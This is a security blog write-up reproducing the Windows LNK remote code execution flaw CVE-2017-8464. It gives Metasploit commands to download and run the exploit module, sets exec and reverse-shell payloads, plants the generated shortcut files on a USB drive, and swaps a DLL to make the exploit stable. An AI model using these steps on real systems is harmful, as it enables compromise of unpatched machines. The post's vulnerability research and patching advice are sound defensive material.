Exploitation Testing of Windows Lnk Remote Code Execution Vulnerability (CVE-2017-8464)

Onedaysec
4 min read
0 views
docx image 1770019810706 0 85ce1ab9f6

0x00 Preface

---

In the early morning of June 14th Beijing time, Microsoft released a vulnerability bulletin numbered CVE-2017-8464. The official announcement states that the Windows system contains a high-risk vulnerability allowing remote execution of arbitrary code when parsing shortcuts. Attackers can trigger this vulnerability through USB drives, network shares, and other means to gain complete control over the user's system, posing a high security risk.

The principle of this vulnerability is very similar to the Stuxnet virus used in the 2010 Stuxnet operation, allegedly by the United States and Israel to infiltrate and sabotage Iran's nuclear facilities, leading some to call it "Stuxnet 3.0."

However, some domestic articles found by searching the keyword "cve-2017-8464复现" on Baidu have misunderstood the reproduction of this vulnerability, mistakenly treating the execution of PowerShell code via shortcuts as the exploitation method.

Therefore, this article aims to correct this mistake.

Additionally, there is a bug in the currently available Metasploit exploit script for testing, where the process explorer.exe crashes after the vulnerability is triggered, making the exploitation imperfect.

Considering that more than 45 days have passed since the patch was publicly released, this article will disclose the method to fix the bug in the exploit script, achieving "perfect exploitation" of this vulnerability.

0x01 Introduction

---

This article will cover the following topics:

  • Vulnerability Overview
  • Vulnerability Testing
  • Bug Fix
  • Defense

0x02 Vulnerability Overview

---

This vulnerability is a remote code execution flaw that occurs during the processing of LNK files in Microsoft Windows systems.

When a vulnerable computer is connected to a USB drive containing malicious software, the exploit can take complete control of the user's system without any additional action.

The vulnerability can also be triggered and exploited through user activities such as accessing network shares, downloading files from the internet, or copying files.

In other words, the vulnerability can be triggered under any of the following conditions:

1. The system has auto-play enabled for USB drives, and a USB drive is inserted, triggering the vulnerability.

2. Accessing the file directory via network sharing.

3. Directly accessing the file directory.

0x03 Vulnerability Testing

---

Currently, there are two publicly available scripts for testing and exploitation:

1. Metasploit exploit script

Author: ykoster

Download link: https://github.com/rapid7/metasploit-framework/pull/8767

2. Python exploitation script

Author: nixawk

Download link: https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py

This article focuses on testing the msf script, copying the exp to a USB drive, and testing the exploitation method triggered via USB drive

Actual testing:

Test system: Kali 2.0

1. Download msf script

cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

2. Generate exp

use exploits/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/x64/exec
set cmd calc.exe
set EXITFUNC thread
exploit

Note:

The default msf script corresponds to the Windows x64 system, so the payload should also be 64-bit exec

Parameter settings are as shown in the figure below

Actual testing: — technical illustration 1

After execution, 24 exploit files are generated in /root/.msf4/local/, as shown below

Actual testing: — technical illustration 2

In kali2.0, this folder cannot be accessed directly; you can copy all files from /root/.msf4/local/ to /root/1 via command line

The command is as follows:

cp -r /root/.msf4/local/ /root/1

Copy the files, as shown below

Actual testing: — technical illustration 3

Copy the above files to a USB drive and test on another unpatched Win7 x64 system

3、Testing

Successfully executed calc.exe, but the explorer.exe process crashed

As shown in the figure below

Actual testing: — technical illustration 4

Note:

The exploit script in the USB drive can be deleted by formatting the USB drive

Then the following tests were conducted respectively:

  • Test Win10 x64
  • Change payload: set payload windows/x64/meterpreter/reverse_tcp

Still the same result

Check GitHub, others have encountered the same issue, as shown below

Actual testing: — technical illustration 5

More replies at: https://github.com/rapid7/metasploit-framework/pull/8767

4. More tests

Attempt to test 32-bit systems

This script supports 32-bit systems, switch command as follows:

set target 1
set payload windows/exec

as shown in the figure below

Actual testing: — technical illustration 6

however, the test results were unsatisfactory and still failed

0x04 bug fix

---

omitting the debugging process, directly providing the simplest solution:replace the dll

the msf exploit script generated a total of 24 files, consisting of 1 dll file and 23 lnk files

as shown in the figure below

0x04 bug fix — technical illustration 7

Note:

for the 23 lnk files, the last character of the filename represents the USB drive letter. If the test system's USB drive is E:, then only keep the lnk file whose last character is "E", and the other lnk files can be deleted

the cause of the bug lies in the dll, simply replace it with your own dll

32-bit dll download address for testing:

An open-source project

64-bit testable DLL download link:

An open-source project

Does not cause explorer.exe process crash, test as shown below

0x04 bug fix — technical illustration 8

Test of triggering vulnerability via USB auto-play as shown below

0x04 bug fix — technical illustration 9

Bug successfully fixed at this point

Test EXP link:

An open-source project

0x05 Defense

---

1. Install patches

Microsoft official patch download link:

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8464

360 Vulnerability Patch Repair Tool download address:

http://b.360.cn/other/stuxnet3fixtool

2. Disable USB AutoPlay function

0x06 Summary

---

This article tests the msf exploit script for CVE-2017-8464, fixes bugs within it, and achieves 'perfect exploitation' of this vulnerability at the technical level. Do not use for illegal purposes. We hereby remind ordinary users again of the necessity to apply patches regularly.

Related Questions & Answers

What are the conditions under which the CVE-2017-8464 vulnerability can be triggered?

The vulnerability can be triggered in three main scenarios: (1) when the system has USB AutoPlay enabled and a malicious USB drive is inserted, (2) when the user accesses a network share containing a malicious .lnk file, or (3) when the user directly browses to a directory with the crafted shortcut. No user interaction beyond these actions is required to exploit the flaw. This is explained in detail in the [Exploitation Testing of Windows Lnk Remote Code Execution Vulnerability (CVE-2017-8464)](/news/exploitation-testing-of-windows-lnk-remote-code-execution-vulnerability-cve-2017-8464) article.

How can users defend against the CVE-2017-8464 LNK vulnerability?

Users should install the official Microsoft patch for CVE-2017-8464, available from the Microsoft Security Response Center. As an additional measure, disabling the USB AutoPlay feature prevents automatic triggering of malicious .lnk files from removable drives. For a full list of recommended defenses and links to the patch and third‑party tools, refer to the [Exploitation Testing of Windows Lnk Remote Code Execution Vulnerability (CVE-2017-8464)](/news/exploitation-testing-of-windows-lnk-remote-code-execution-vulnerability-cve-2017-8464) article.

What bug existed in the public Metasploit exploit script for CVE-2017-8464 and how was it fixed?

The original Metasploit script caused the `explorer.exe` process to crash after successfully executing the payload (e.g., calc.exe). The bug was traced to the DLL file generated by the exploit. The fix involved replacing the default DLL with a different one—either a 32-bit or 64-bit DLL from a tested open-source project—which stopped the crash and allowed “perfect exploitation.” For more details on the debugging process and the exact DLLs used, see the [Exploitation Testing of Windows Lnk Remote Code Execution Vulnerability (CVE-2017-8464)](/news/exploitation-testing-of-windows-lnk-remote-code-execution-vulnerability-cve-2017-8464) article.

What is the CVE-2017-8464 vulnerability and how does it work?

CVE-2017-8464 is a remote code execution vulnerability in Windows caused by improper handling of LNK (shortcut) files. When a user connects a USB drive, accesses a network share, or opens a directory containing a malicious .lnk file, the vulnerability can be triggered without any further user action, allowing an attacker to take control of the system. This principle is similar to the Stuxnet attack, and detailed testing is covered in the [Exploitation Testing of Windows Lnk Remote Code Execution Vulnerability (CVE-2017-8464)](/news/exploitation-testing-of-windows-lnk-remote-code-execution-vulnerability-cve-2017-8464) article.

Continue Reading